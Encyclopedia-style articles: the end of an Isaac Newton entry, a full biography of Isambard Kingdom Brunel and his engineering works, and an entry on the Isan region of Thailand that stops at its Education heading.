          Various trees are claimed to be "the" apple tree which Newton describes. The King's School, Grantham, claims that the tree was purchased by the school, uprooted and transported to the headmaster's garden some years later, the staff of the [now] National Trust-owned Woolsthorpe Manor dispute this, and claim that a tree present in their gardens is the one described by Newton. A descendant of the original tree can be seen growing outside the main gate of Trinity College, Cambridge, below the room Newton lived in when he studied there. The National Fruit Collection at Brogdale can supply grafts from their tree (ref 1948-729), which appears identical to Flower of Kent, a coarse-fleshed cooking variety.


          


          Writings by Newton


          
            	Method of Fluxions (1671)


            	Of Natures Obvious Laws & Processes in Vegetation (167175) unpublished work on alchemy


            	De Motu Corporum in Gyrum (1684)


            	Philosophiae Naturalis Principia Mathematica (1687)


            	Opticks (1704)


            	Reports as Master of the Mint (170125)


            	Arithmetica Universalis (1707)


            	Short Chronicle, The System of the World, Optical Lectures, The Chronology of Ancient Kingdoms, Amended and De mundi systemate were published posthumously in 1728.


            	An Historical Account of Two Notable Corruptions of Scripture (1754)

          


          


          Fame


          French mathematician Joseph-Louis Lagrange often said that Newton was the greatest genius who ever lived, and once added that he was also "the most fortunate, for we cannot find more than once a system of the world to establish." English poet Alexander Pope was moved by Newton's accomplishments to write the famous epitaph:


          
            
              	

              	
                Nature and nature's laws lay hid in night;


                God said "Let Newton be" and all was light.

              

              	
            

          


          Newton himself was rather more modest of his own achievements, famously writing in a letter to Robert Hooke in February 1676


          
            
              	

              	If I have seen further it is by standing on the shoulders of giants

              	
            

          


          Historians generally think the above quote was an attack on Hooke (who was short and hunchbacked), rather than  or in addition to  a statement of modesty. The two were in a dispute over optical discoveries at the time. The latter interpretation also fits with many of his other disputes over his discoveries  such as the question of who discovered calculus as discussed above.


          And then in a memoir later


          
            
              	

              	I do not know what I may appear to the world, but to myself I seem to have been only like a boy playing on the sea-shore, and diverting myself in now and then finding a smoother pebble or a prettier shell than ordinary, whilst the great ocean of truth lay all undiscovered before me.
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              	Name

              	Isambard Kingdom Brunel
            


            
              	Birth date

              	April 9, 1806(1806-04-09)
            


            
              	Birth place

              	Portsmouth, United Kingdom
            


            
              	Date of death

              	15 September 1859 (aged53)
            


            
              	Education

              	Lyce Henri-Quatre, Paris, France and

              University of Caen, Normandy, France
            


            
              	Spouse

              	Mary Elizabeth Horsley
            


            
              	Parents

              	Marc Isambard Brunel and

              Sophia Kingdom
            


            
              	Children

              	Isambard Brunel Junior, Henri Marc Brunel, Florence Mary Brunel
            


            
              	Work
            


            
              	Engineering Discipline

              	Civil engineer

              Structural engineer
            


            
              	Institution memberships

              	Institution of Civil Engineers
            


            
              	Significant projects

              	Great Western Railway

              Clifton Suspension Bridge

              SS Great Britain
            

          


          Isambard Kingdom Brunel, FRS ( 9 April 1806  15 September 1859) (pronounced /ˈɪzəmbɑrd ˈkɪŋdəm brʊˈnɛl/), was a British engineer. He is best known for the creation of the Great Western Railway, a series of famous steamships, including the first with a propeller, and numerous important bridges and tunnels. His designs revolutionised public transport and modern day engineering.


          Though Brunel's projects were not always successful, they often contained innovative solutions to long-standing engineering problems. During his short career, Brunel achieved many engineering "firsts", including assisting in the building of the first tunnel under a navigable river and development of SS Great Britain, the first propeller-driven ocean-going iron ship, which was at the time also the largest ship ever built.


          Brunel suffered several years of ill health, with kidney problems, before succumbing to a stroke at the age of 53. Brunel was said to smoke up to 40 cigars a day and to sleep as little as four hours each night.


          In 2006, a major programme of events celebrated his life and work on the bicentenary of his birth under the name Brunel 200.


          


          Early life


          The son of engineer Sir Marc Isambard Brunel (the name Brunel is a derivation from the French name Brun, cognate with Brown), a Frenchman, and Sophia ( ne Kingdom) Brunel (d. 1854), Isambard Kingdom Brunel was born in Portsmouth, Hampshire, on 9 April 1806. His father was working there on block-making machinery for the Portsmouth Block Mills.


          At 14 he was sent to France to be educated at the Lyce Henri-Quatre in Paris and the University of Caen in Normandy. At 15 his father, Marc Brunel, was sent to a debtors prison for debts of over 5000. These were mostly paid by the government to prevent this eminent engineer defecting to Russia. Isambard was therefore able to continue his studies in France.


          Brunel rose to prominence when, aged 20, he was appointed chief assistant engineer of his father's greatest achievement, the Thames Tunnel, which runs beneath the river between Rotherhithe and Wapping.


          The first major sub-river tunnel, it succeeded where other attempts had failed, thanks to Marc Brunel's ingenious tunnelling shield  the human-powered forerunner of today's mighty tunnelling machines  which protected workers from cave-in by placing them within a protective casing. Marc Brunel had been inspired to create the shield after observing the habits and anatomy of the shipworm, Teredo navalis.


          Most modern tunnels are cut in this way, notably the Channel Tunnel between Southern England and France.


          Brunel established his design offices at 1718 Duke Street, London, and he lived with his family in the rooms above.


          On 5 July 1836, Brunel married Mary Elizabeth Horsley (b. 1813), the eldest daughter of composer and organist William Horsley, who came from an accomplished musical and artistic family.


          R.P. Brereton, who became his chief assistant in 1845, was in charge of the office in Brunel's absence, and also took direct responsibility for major projects such as the Royal Albert Bridge as Brunel's health declined.


          


          Thames Tunnel
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          Brunel worked for nearly two years to create a tunnel under London's River Thames, with tunnellers driving a horizontal shaft from one side of the river to the other under the most difficult and dangerous conditions. Brunel's father, Marc, was the chief engineer, and the project was funded by the Thames Tunnel Company. The composition of the Thames river bed at Rotherhithe was often little more than waterlogged sediment and loose gravel, and although the extreme conditions proved the ingenuity of Brunel's tunnelling machine, the work was hard and hazardous.


          For the workers the building of the tunnel was particularly unpleasant because the Thames at that time was still little better than an open sewer, so the tunnel was usually awash with foul-smelling, contaminated water. The tunnel was often in imminent danger of collapse due to the instability of the river bed, yet the management decided to allow spectators to be lowered down to observe the diggings at a shilling a time. Two severe incidents of flooding halted work for long periods, killing several workers and badly injuring the younger Brunel.


          The later incident, in 1828, killed the two most senior miners, Collins and Ball, and Brunel himself narrowly escaped death; a water break-in hurled him from a tunnelling platform, knocking him unconscious, and he was washed up to the other end of the tunnel by the surge. As the water rose, by luck he was carried up a service stairway, where he was plucked from almost certain death by an assistant moments before the surge receded. Brunel was seriously hurt (and never fully recovered from his injuries), and the event ended work on the tunnel for several years.


          Originally designed for pedestrians, the tunnel was converted to accommodate the East London Railway in 1869 and became part of the London Underground East London Line between Rotherhithe and Wapping in 1933. It was closed in December 2007 to be converted for use by the London Overground system and is due to reopen in 2010. The building that contained the pumps to keep the Thames Tunnel dry was saved from demolition in the 1970s by volunteers and made a Scheduled Ancient Monument. It now houses the Brunel Museum, which documents not just the Thames Tunnel but also Brunels' other many achievements. The Thames tunnel is open to the public during September each year as part of the Open House London Weekend. Free-of-charge tube trains, travelling at creep speed, journey through the tunnel, and guides point out the remnants of the world's first shopping mall. Vendors used to trade in the arches built along its length.


          


          Bridges
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          Brunel's solo engineering feats started with bridges  the Royal Albert Bridge spanning the River Tamar at Saltash near Plymouth, and an unusual timber-framed bridge near Bridgwater.


          Brunel's oldest wrought iron bridge is the Windsor Railway Bridge, which was built in 1861 - 1865.


          Built in 1838, the Maidenhead Railway Bridge over the Thames in Berkshire was the flattest, widest brick arch bridge in the world and is still carrying main line trains to the west. There are two arches, with each span totalling 128 ft (39 m), having a rise of only 24ft (7m), and a width that carries four tracks. The rather flat arches reduce the difficulty railway engines have with steep gradients (especially on hump back bridges) and today's trains are about 10 times as heavy as Brunel ever imagined.


          In 1845 Hungerford Bridge, a suspension footbridge across the Thames, near Charing Cross Station in London, was opened only to be replaced by a new railway bridge in 1859.


          Throughout his railway building, but particularly on the South Devon and Cornwall Railways where economy was needed and there were many valleys to cross, Brunel made extensive use of wood for the construction of substantial viaducts; these have had to be replaced over the years.


          The Royal Albert Bridge was designed in 1855 for the Cornwall Railway Company, after Parliament rejected his original plan for a train ferry across the Hamoaze  the estuary of the tidal Tamar, Tavy and Lynher. The bridge (of bowstring girder or tied arch construction) consists of two main spans of 455ft (139m), 100ft (30m) above mean high spring tide, plus 17 much shorter approach spans. Opened by Prince Albert on 2 May 1859, it was completed in the year of Brunel's death.


          However, Brunel is perhaps best remembered for the Clifton Suspension Bridge in Bristol. Spanning over 700ft (213m), and nominally 200ft (61m) above the River Avon, it had the longest span of any bridge in the world at the time of construction. Brunel submitted four designs to a committee headed by Thomas Telford and gained approval to commence with the project. Afterwards, Brunel wrote to his brother-in-law, the politician Benjamin Hawes: "Of all the wonderful feats I have performed, since I have been in this part of the world, I think yesterday I performed the most wonderful. I produced unanimity among 15 men who were all quarrelling about that most ticklish subject  taste." He did not live to see it built, although his colleagues and admirers at the Institution of Civil Engineers felt the bridge would be a fitting memorial, and started to raise new funds and to amend the design. Work started in 1862 and was complete in 1864, five years after Brunel's death.


          In 2006, there is the possibility that several of Brunel's bridges over the Great Western Railway might be demolished because the line is planned to be electrified, and there is inadequate clearance for the overhead wires. Buckinghamshire County Council is petitioning to have further options pursued, in order that all nine of the historic remaining bridges on the line can remain.


          


          Great Western Railway
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          In the early part of Brunel's life, the use of railways began to take off as a major means of transport for goods. This influenced Brunel's involvement in railway engineering, including railway bridge engineering.


          In 1833, before the Thames Tunnel was complete, Brunel was appointed chief engineer of the Great Western Railway, one of the wonders of Victorian Britain, running from London to Bristol and later Exeter. The Company was founded at a public meeting in Bristol in 1833, and was incorporated by Act of Parliament in 1835. It was Brunel's vision that passengers would be able to purchase one ticket at London Paddington and travel from London to New York, changing from the Great Western Railway to The Great Eastern Steamship at the Terminus in Neyland, South Wales.


          Brunel made two controversial decisions: to use a broad gauge of 7ft 0in (2,140mm) for the track, which he believed would offer superior running at high speeds; and to take a route that passed north of the Marlborough Downs, an area with no significant towns, though it offered potential connections to Oxford and Gloucester and then to follow the Thames Valley into London. His decision to use broad gauge for the line was controversial in that almost all British railways to date had used standard gauge. Brunel said that this was nothing more than a carry-over from the mine railways that George Stephenson had worked on prior to making the world's first passenger railway. Brunel worked out through mathematics and a series of trials that his broader gauge was the optimum railway size for providing stability and a comfortable ride to passengers, in addition to allowing for bigger carriages and more freight capacity. He surveyed the entire length of the route between London and Bristol himself.


          Drawing on his experience with the Thames Tunnel, the Great Western contained a series of impressive achievements  soaring viaducts, specially designed stations, and vast tunnels including the famous Box Tunnel, which was the longest railway tunnel in the world at that time.
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          There is an anecdote that Box Tunnel is so oriented that the sun shines all the way through it on Brunel's birthday. For more information, see Box Tunnel.


          The initial group of locomotives ordered by Brunel to his own specifications proved unsatisfactory, apart from the North Star locomotive, and 20-year-old Daniel Gooch (later Sir Daniel) was appointed as Superintendent of Locomotives. Brunel and Gooch chose to locate their locomotive works at the village of Swindon, at the point where the gradual ascent from London turned into the steeper descent to the Avon valley at Bath.


          Brunel's achievements ignited the imagination of the technically minded Britons of the age, and he soon became one of the most famous men in the country on the back of this interest.


          After Brunel's death the decision was taken that standard gauge should be used for all railways in the country. Despite the Great Western's claim of proof that its broad gauge was the better (disputed by at least one Brunel historian), the decision was made to use Stephenson's standard gauge, mainly because this had already covered a far greater amount of the country. However, by May 1892 when the broad gauge was abolished the Great Western had already been re-laid as dual gauge (both broad and standard) and so the transition was a relatively painless one.


          The present Paddington station was designed by Brunel and opened in 1854. Examples of his designs for smaller stations on the Great Western and associated lines which survive in good condition include Mortimer, Charlbury and Bridgend (all Italianate) and Culham ( Tudorbethan). Surviving examples of wooden train sheds in his style are at Frome and Kingswear.


          The great achievement that was the Great Western Railway has been immortalised in the Swindon Steam Railway Museum.


          


          Brunel's "atmospheric caper"
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          Though ultimately unsuccessful, another of Brunel's interesting use of technical innovations was the atmospheric railway, the extension of the GWR southward from Exeter towards Plymouth, technically the South Devon Railway (SDR), though supported by the GWR. Instead of using locomotives, the trains were moved by Clegg and Samuda's patented system of atmospheric ( vacuum) traction, whereby stationary pumps sucked air from the tunnel.


          The section from Exeter to Newton (now Newton Abbot) was completed on this principle, with pumping stations with distinctive square chimneys spaced every two miles, and trains ran at approximately 20 miles per hour (30 km/h). Fifteen-inch (381mm) pipes were used on the level portions, and 22-inch (559mm) pipes were intended for the steeper gradients.


          The technology required the use of leather flaps to seal the vacuum pipes. The leather had to be kept supple by the use of tallow, and tallow is attractive to rats. The result was inevitable  the flaps were eaten, and vacuum operation lasted less than a year, from 1847 (experimental services began in September; operationally from February 1848) to 10 September 1848.


          The accounts of the SDR for 1848 suggest that atmospheric traction cost 3s 1d (three shillings and one penny) per mile compared to 1s 4d/mile for conventional steam power. A number of South Devon Railway engine houses still stand, including that at Starcross, on the estuary of the River Exe, which is a striking landmark, and a reminder of the atmospheric railway, also commemorated as the name of the village pub.


          A section of the pipe, without the leather covers, is preserved at the Didcot Railway Centre.


          


          Transatlantic shipping
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          Even before the Great Western Railway was opened, Brunel was moving on to his next project: transatlantic shipping. He used his prestige to convince his railway company employers to build the Great Western, at the time by far the largest steamship in the world. Great Western first sailed in 1837.


          She was 236ft (72m) long, built of wood, and powered by sail and paddlewheels. Her first return trip to New York City took just 29days, compared to two months for an average sailing ship. In total, 74crossings to New York were made.


          The Great Britain followed in 1843; much larger at 322ft (98m) long, she is considered the first modern ship, in that she was built of metal rather than wood, was powered by an engine rather than wind or oars, and driven by propeller rather than paddle wheel. She was the first iron-hulled, propeller-driven ship to cross the Atlantic Ocean.


          Brunel was a strong proponent of propellers for ships, and the Royal Navy commissioned him to prepare a test for proof of the propeller's superior propulsion method compared with the paddle wheels of that time. Brunel fitted two identical tugs of the same engine and power, one with paddle wheels and the other with a propeller, and staged a "tug of war" with two tugs pulling a rope on the Thames river in England. The propeller driven HMS Rattler was further challenged by having to pull the rival tug boat upstream, yet the propeller driven tug boat won and the Royal Navy was convinced propellers were more efficient.


          In 1852 Brunel turned to a third ocean-going ship, even larger than both of her predecessors, and intended for voyages to India and Australia. The Great Eastern (originally dubbed Leviathan) was cutting-edge technology for her time: almost 700 ft (213 m) long, fitted out with the most luxurious appointments and capable of carrying over 4,000 passengers.


          She was designed to be able to cruise under her own power non-stop from London to Sydney and back since engineers of the time were under the misapprehension that Australia had no coal reserves, and she remained the largest ship built until the turn of the century. Like many of Brunel's ambitious projects, the ship soon ran over budget and behind schedule in the face of a series of momentous technical problems.


          The ship has been portrayed as a white elephant, but it can be argued that in this case Brunel's failure was principally one of economics  his ships were simply years ahead of their time. His vision and engineering innovations made the building of large-scale, screw-driven, all-metal steamships a practical reality, but the prevailing economic and industrial conditions meant that it would be several decades before transoceanic steamship travel emerged as a viable industry.


          Great Eastern was built at John Scott Russell's Napier Yard in London, and after two trial trips in 1859, set forth the following year on her maiden voyage from Southampton to New York on 17 June 1860.


          Though a failure at her original purpose of passenger travel, she eventually found a role as an oceanic telegraph cable-layer, and the Great Eastern remains one of the most important vessels in the history of shipbuilding  the Trans-Atlantic cable had been laid, which meant that Europe and America now had a telecommunications link.


          


          Crimean war


          During 1854, Britain entered into the Crimean War, an old Turkish Barrack building became the British Army hospital in Scutari (modern-day skdar in Istanbul). With injured men suffering from a variety of illnesses including cholera, dysentery, typhoid and malaria purely from hospital conditions, Florence Nightingale sent a plea to The Times for the government to produce a solution.


          Brunel was already working on building the SS Great Eastern amongst other projects, but accepted the task in February 1855 of designing and building the War Office requirement of a temporary, pre-fabricated hospital that could be shipped to the Crimea and erected. In 5 months he had designed, built and shipped the pre-fabricated wood and canvas buildings that were erected, near Scutari Hospital where Nightingale was based, in the malaria free area of Renkioi.


          His designs incorporated the necessity of hygiene, providing access to sanitation, ventilation, drainage and even rudimentary temperature controls. They were feted as a great success, some sources stating that of the 1,300 (approximate) patients treated in the Renkioi temporary hospital, there were only 50 deaths. In the Scutari hospital it replaced, deaths were said to be as many as 10 times this number. Nightingale herself referred to them as "those magnificent huts." Brunel not only designed the buildings but gave advice as to the location of placing.


          The art of using pre-fabricated modules to build hospitals has been carried forward into the present day, with hospitals such as the Bristol Royal Infirmary being created in this manner.


          


          Illnesses and death of Brunel


          In 1843, while performing a conjuring trick for the amusement of his children, Brunel accidentally inhaled a half-sovereign coin, which became lodged in his windpipe. A special pair of forceps failed to remove it, as did a machine devised by Brunel himself to shake it loose.


          Eventually, at the suggestion of Sir Marc, Brunel was strapped to a board and turned upside-down, and the coin was jerked free. He convalesced by visiting Teignmouth and enjoyed the area so much that he purchased an estate at Watcombe in Torquay, Devon. Here he designed Brunel Manor and its gardens to be his retirement home. Unfortunately he never saw the house or gardens finished, as he died before it was completed.


          Brunel suffered a stroke in 1859, just before the Great Eastern made her first voyage to New York. He died ten days later at the age of 53 and was buried, like his father, in Kensal Green Cemetery in London.


          He left behind his wife Mary and three children: Isambard Brunel Junior (18371902), Henri Marc Brunel (18421903) and Florence Mary Brunel (c.18471876). Henri Marc enjoyed some success as a civil engineer.



          


          Legacy
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          As a celebrated engineer in his own time, and much revered to this day, emphasised by the numerous monuments to Brunel. There are statues in London at Temple (pictured) and Brunel University, Bristol, Saltash, Swindon, Milford Haven, Neyland and Paddington station. The flagpole of the Great Eastern is at the entrance to Liverpool FC, and a section of the ship's funnel is at Sutton Poyntz, near Weymouth. Brunel was placed second of the heavily publicised " 100 Greatest Britons" TV poll conducted by the BBC and voted for by the public. In the second round of voting, which concluded on 24 November 2002, Brunel was placed second, behind Winston Churchill. The building of the Great Eastern was dramatised in an episode of the BBC TV series Seven Wonders of the Industrial World (2003).


          Brunel is also often claimed to be the inventor of the Bar (counter) as an item of furniture for quickly serving large numbers of customers in cafes, refreshment rooms, hotels and public houses. Both the Great Western Hotel at Paddington Station and the Swindon railway station refreshment rooms claim to have had the world's first bar. This device continues to remain popular all over the world.


          Contemporary locations bear Brunel's name, such as Brunel University in London, and a collection of streets in Exeter: Isambard Terrace, Kingdom Mews, and Brunel Close. A road, car park and school in his home town of Portsmouth are also named in his honour, along with the town's largest pub. Although not of any real architectural merit, the Brunel shopping centre in Bletchley, Milton Keynes is named after him.


          Many of Brunel's bridges are still in use, these designs have stood the test of time. Brunel`s first engineering project the Thames Tunnel is to become part of the East London Overground Railway System and the Brunel Engine House at Rotherhithe that once housed the steam engines that powered the tunnel pumps still stands, as a museum dedicated to the work and lives of Marc and Isambard Kingdom Brunel. Many of Brunel's original papers and designs are now held in the Brunel collection at the University of Bristol.


          Brunel is credited with turning the town of Swindon into one of the largest growing towns in Europe during the 1800s. The siting of the Great Western Railway locomotive sheds here and the need for housing for the workers, gave Brunel the impetus to build hospitals, churches and housing estates in what was termed 'New Swindon' (subsequently swallowed by the rest of the expanding, mainly agricultural, town). This area is known today as the 'Railway Village'. Brunel's addition of a Mechanics Institute for recreation and hospitals and clinics for his workers gave Aneurin Bevan the basis for the creation of the National Health Service according to some sources. The current hospital in Swindon was named the Great Western Hospital in commemoration, which also contains the 'Brunel Treatment Centre'


          In 2006, the Royal Mint struck a 2 coin to "celebrate the 200th anniversary of Isambard Kingdom Brunel and his achievements." The coin depicts a section of the Royal Albert Bridge at Saltash, along with a portrait of Brunel. The Post Office issued a set of commemorative stamps.


          


          Television


          
            	National Geographic Channel - The Iron Engineers


            	Deborah Cadbury (2003- 11-08). " Seven Wonders of the Industrial World: The Great Eastern". Retrieved on 2007- 01-14.

          


          


          Newspaper


          
            	Plymouth Evening Herald


            	Unknown ( 2007- 07-28). " 2 m High Isambard Kingdom Brunel Statue in Plymouth". Retrieved on 2007- 07-28.
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          Isan ( Isan/ Thai: อีสาน; also written as Isaan, Isarn, Issan, or Esarn) is the northeast region of Thailand. It is located on the Khorat Plateau, bordered by the Mekong River (along the border with Laos) to the north and east, by Cambodia to the southeast and the Prachinburi mountains south of Nakhon Ratchasima. To the west it is separated from Northern and Central Thailand by the Phetchabun mountain range.


          Agriculture is the main economic activity, but due to the socio-economic conditions and hot, dry climate output lags behind that of other parts of the country. This is Thailand's poorest region.


          The main language of the region is Isan, which is similar to Lao. Considered by some to be a dialect of Laotian, but written in the Thai alphabet Isan is among the Chiang Seng and Lao-Phutai languages, which are members of the Tai languages of the Tai-Kadai language family. Central Thai Thai is also spoken, with regional accents, by almost everyone. Khmer (the language of Cambodia) is widely spoken in regions near the Cambodian border ( Buriram, Surin, and Sisaket). Most of the population is of Lao origin, but the region's incorporation into the modern Thai state has been largely successful.


          Prominent aspects of the culture of Isan include the indigenous form of folk music, called mor lam ( Thai: หมอลำ), Muay Thai ( Thai: มวยไทย) boxing, cock fighting, and celebratory processions ( Thai: กระบวน). Isan food, in which sticky rice ( Thai: ข้าวเหนียว, khao niao) and chillies are prominent, is sufficiently distinct from Thai cuisine that it is considered unique. Sticky rice is a staple of Thai Northeastern cuisine, and it accompanies meals frequently.


          


          History
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          Isan has a number of important Bronze Age sites, with cliff paintings, artifacts and early evidence of rice cultivation. Iron and bronze tools, such as found at Ban Chiang, may predate similar tools from Mesopotamia. The region later came under the influence first of the Dvaravati culture and then of the Khmer empire, which left temples at Phimai and Phanom Rung.


          After the Khmer empire began to decline from the 13th century, Isan was dominated by the Lao Lan Xang kingdom, that had been established by Fa Ngum. Thereafter the region was increasingly settled by Lao and Thai migrants. Siam held sway from the 17th century, and carried out forced population transfers from Laos to Isan in the 18th and 19th centuries. Franco-Siamese treaties of 1893 and 1904 made Isan the frontier between Siam and French Indochina.


          In the 20th century a policy of " Thaification" promoted the incorporation of Isan as an integral part of Thailand and de-emphasised the Lao origins of the population. This policy extended to the use of the name "Isan" itself: the name is derived from that of Iśāna (Sanskrit: ईशान), a manifestation of Shiva as deity of the northeast, and the Sanskrit word for northeast. The name therefore reinforces the area's identity as the northeast of Thailand, rather than as a part of the Lao world. Before the central government forcibly introduced the Thai alphabet and language in schools, the people of Isan wrote in the Lao alphabet. Most Isan people still speak the Isan language which is closely related to the Lao language.


          


          Geography
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          Isan covers 160,000km (62,000 square miles) making it about half the size of Germany, four times the size of Switzerland, twice the size of Austria, and just under twice the size of the US State of Maine. It is roughly coterminous with the Khorat Plateau, which tilts from the Phetchabun mountain range in the west of the region (the location of several national parks) down towards the Mekong River. The plateau consists of two main plains: the southern Khorat plain is drained by the Mun and Chi rivers, while the northern Sakon Nakhon plain is drained by the Loei and Songkhram rivers. The two plains are separated by the Phu Phan mountains. The soil is mostly sandy, with substantial salt deposits.
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          The Mekong forms a large part of the border between Thailand and Laos to the north and east of Isan, while the south of the region borders on Cambodia. The Mekong's main Thai tributary is the Mun River, which rises in the Khao Yai National Park near Khorat and runs east, joining the Mekong in Ubon Ratchathani Province. The other main river in Isan is the Chi River, which flows through central Isan before turning south to meet the Mun in Sisaket Province. The smaller Loei and Songkhram rivers are also tributaries of the Mekong, the former flowing north through Loei province and the latter flowing east through Udon Thani, Sakon Nakhon, Nakhon Phanom and Nong Khai Provinces.


          The average temperature range is from 30.2 C to 19.6 C. The highest temperature recorded was 43.9 C in Udon Thani, the lowest -1.4 C at Sakhon Nakhon Agro Station.


          Rainfall is unpredictable, but is concentrated in the rainy season from May to October. Average annual precipitation varies from 2000 mm in some areas to 1270 mm in the southwestern provinces of Nakhon Ratchasima, Buriram, Maha Sarakham, Khon Kaen and Chaiyaphum. The rainy season begins with occasional short but heavy showers, eventually raining very heavily for longer periods almost every day, usually in the late afternoon or at night until it ends abruptly at the onset of the cool season.


          The other seasons are the cool season from October to February, when the people sit outside around fires in the evenings, and the hot season from February to May with its sudden peak of high temperatures in April.


          


          Economy
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          Agriculture is the largest sector of the economy, generating around 22% of the Gross Regional Product (compared to 8.5% for Thailand as a whole). Sticky rice, the staple food of the region, is the main agricultural crop (accounting for about 60% of the cultivated land). It thrives in the poorly drained paddy fields, and where fields can be flooded from nearby streams, rivers and ponds, often two harvests are possible each year. Farmers are increasingly diversifying into cash crops such as sugar cane and cassava ( manioc) which are cultivated on a vast scale, and to a lesser extent, rubber. Silk production is an important cottage industry and contributes significantly to the economy. The long, narrow fertile province of Nong Khai Province which stretches along the Mekong River is also noted for the production of pineapples, tobacco (which is dried, cured and shredded by the families before collection by the cigarette manufacturers) and tomatoes which are grown on an industrial scale, particularly around the town of Sri Chiang Mai.


          Despite its dominance of the economy, agriculture in the region is extremely problematic. The climate is prone to drought, while the flat terrain of the plateau is often flooded in the rainy season. The tendency to flood renders a large proportion of the land unsuitable for cultivation. In addition, the soil is highly acidic, saline and infertile from overuse. Since the 1970s, agriculture has been declining in importance at the expense of the trade and service sectors. Very few farmers still use water buffalo rather than tractors. Nowadays, the water buffalo are mainly kept by almost all rural families as status symbols. The main piece of agricultural equipment in use today is the 'rot tai na' ( Thai: รถไถนา, lit. "vehicle plow field") colloquially referred to as 'kwai lek' ( Thai: ควายเหล็ก, or "iron/steel buffalo"), or more generally by its manufacturer's name of "Kobota", a mini tractor comprising a small diesel engine mounted on two wheels with two long wooden or metal handlebars for control and steering. It is usually attached to a trailer or a plow. Buffalo are now mainly used for grazing on the stubble in the rice paddy which they in turn fertilize with their manure. The main animals raised for food are cattle, pigs, chickens, ducks and fish. Isan is the poorest region of Thailand: in 2002 average wages were the lowest in the country at 3,928 baht per month (the national average was 6,445).


          The region's poverty is also shown in its infrastructure: eight of the ten provinces in Thailand with the fewest physicians per capita are in Isan ( Sisaket has fewest, with one per 14,661 in 2001; the national average was 3,289); it also has eight of the ten provinces with the fewest hospital beds per head ( Chaiyapum has fewest, with one per 1,131 in 2001; the national average was 453). Nevertheless, as in the rest of Thailand, all districts ( Amphoe) have a hospital, and all sub districts ( tambon) have a clinic providing primary health care. The introduction of the "30 baht" health card has dramatically changed the numbers of those attending hospitals for treatment, as it has meant that full health care is available to all who register for only 30 baht per visit. The few who can afford it travel to the modern private hospitals and clinics in the large cities for non urgent specialist consultations and care.


          The region also lags in new technology: there was only one Internet connection per 75 households in 2002 (national average one per 22 households), [update needed] but by 2006 every district town (Amphoe) had at least one publicly accessible internet connection either in the local computer shop or in the district office. Extension of landline telephones to remoter areas not previously served has been largely superseded by the use of cell phones, primarily of the GSM format, which now cover the entire region with the exception of a few sparsely populated mountainous areas and large national parks. Many people, even the poorest and sometimes children, have cellular telephones, although they have no fixed-line telephone. The region also has the lowest literacy rate [source?] when compared with other region in Thailand. By the beginning of 2008 most of the amphoe (district towns of the provinces) had been provided with ADSL by the TOT, still leaving, however, the vast majority of the rural population dependent on dial-up connections - for those who have landline telephones - which are totally inadequate for the megabyte-hungry packages of data of 21st century information. Internet shops are now experiencing a boom for those able to get to them and are heavily patronized by primary and secondary schoolchildren who come not only to use the Internet but also to play on-line games, use VOIP, or just to use the computer and printing facilities. An increasingly significant number of customers in the Internet shops, particularly in the cities, are young ladies searching for future Western husbands on the numerous dating sites. Resident Western expatriates, and foreign tourists are also frequent customers. For those outside the district towns who require a serious use of the Internet in their homes, an iPstar broadband satellite connection is the only alternative; although four times more expensive than a DSL connection, it is far less reliable and suffers considerable down-time due to overloading, heavy cloud cover, and rain and despite - in theory - being always on, it often lacks the stability for streaming and clarity of VOIP.


          Many Isan people seek higher-paying work outside the region, particularly in Bangkok, where they fill many of the worst paid and lowest-ranking jobs. Some of these people have settled permanently in the city, while some migrate to and fro. Others have emigrated in search of better wages. Rather than relocate as a family they usually leave their babies and school-age children in the care of relatives, friends or neighbours.


          


          Demographics
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          Isan's total population as of 2000 was 20,825,000. 40% of the population is concentrated in the provinces of Khorat, Ubon Ratchathani, Udon Thani and Khon Kaen. These provinces surround the four major cities of the same names; as of 2000, their populations were: Udon Thani 220,493; Khorat 204,391; Khon Kaen 141,034; and Ubon Ratchathani 106,552. However, as of 1996 only 6.3% of the region's population lived in municipal areas. Khon Kaen was the most urbanised province (with 12.4% in municipal areas), and Roi Et the least (2.8%). Thus, the population is still largely rural, but concentrated around the urban centres.


          Most people are of Lao origin, although the distinction between the Lao and Thai ethnicities is often blurred. Although there are certain physical features which are more prominent in the Lao, the distinction is primarily one of culture and language. The main language of the region is Isan (which is basically a dialect of Lao). Standard Thai is spoken by almost everyone and Khmer, the language of Cambodia is spoken in the southeast. The number of speakers of Isan has been estimated at between 15 million and 23 million, the majority of these being in Isan. The Khorat dialect, spoken by around 400,000 people, occupies a linguistic position somewhere between Isan and standard Thai.


          There is a substantial Khmer minority, concentrated in the southern provinces of Buriram, Surin, and Sisaket, and some Vietnamese refugees in Mukdahan and Nakhon Phanom.


          Other languages spoken in Isan, mainly by tribal minorities, are as follows:


          
            
              	Language

              	Family

              	Speakers

              	Distribution
            


            
              	Aheu

              	Mon-Khmer

              	750

              	Sakon Nakhon
            


            
              	Eastern Bru

              	Mon-Khmer

              	5000

              	Sakon Nakhon
            


            
              	Western Bru

              	Mon-Khmer

              	20,000

              	Mukdahan, Amnatcharoen, Ubon
            


            
              	Northern Khmer

              	Mon-Khmer

              	1,000,000

              	Surin, Sisaket, Buriram, Khorat
            


            
              	Kuy

              	Mon-Khmer

              	300,000

              	Buriram, Surin, Sisaket, Ubon, Roi Et
            


            
              	Nyah Kur

              	Mon-Khmer

              	Unknown

              	Khorat, Chaiyaphum
            


            
              	Nyaw

              	Tai-Kadai

              	50,000

              	Sakon Nakhon, Nong Khai, Nakhon Phanom
            


            
              	Nyeu

              	Mon-Khmer

              	Unknown

              	Sisaket
            


            
              	Phu Thai

              	Tai-Kadai

              	156,000

              	Nakhon Phanom, Ubon, Kalasin, Sakon Nakhon
            


            
              	Phuan

              	Tai-Kadai

              	Unknown

              	Udon, Loei
            


            
              	Saek

              	Tai-Kadai

              	11,000

              	Nakhon Phanom
            


            
              	So

              	Mon-Khmer

              	55,000

              	Nakhon Phanom, Sakon Nakhon, Nong Khai, Kalasin
            


            
              	Tai Dam

              	Tai-Kadai

              	20,000

              	Nong Khai, Khorat, Loei (plus Saraburi)
            


            
              	Yoy

              	Tai-Kadai

              	5,000

              	Sakon Nakhon
            

          


          


          Education


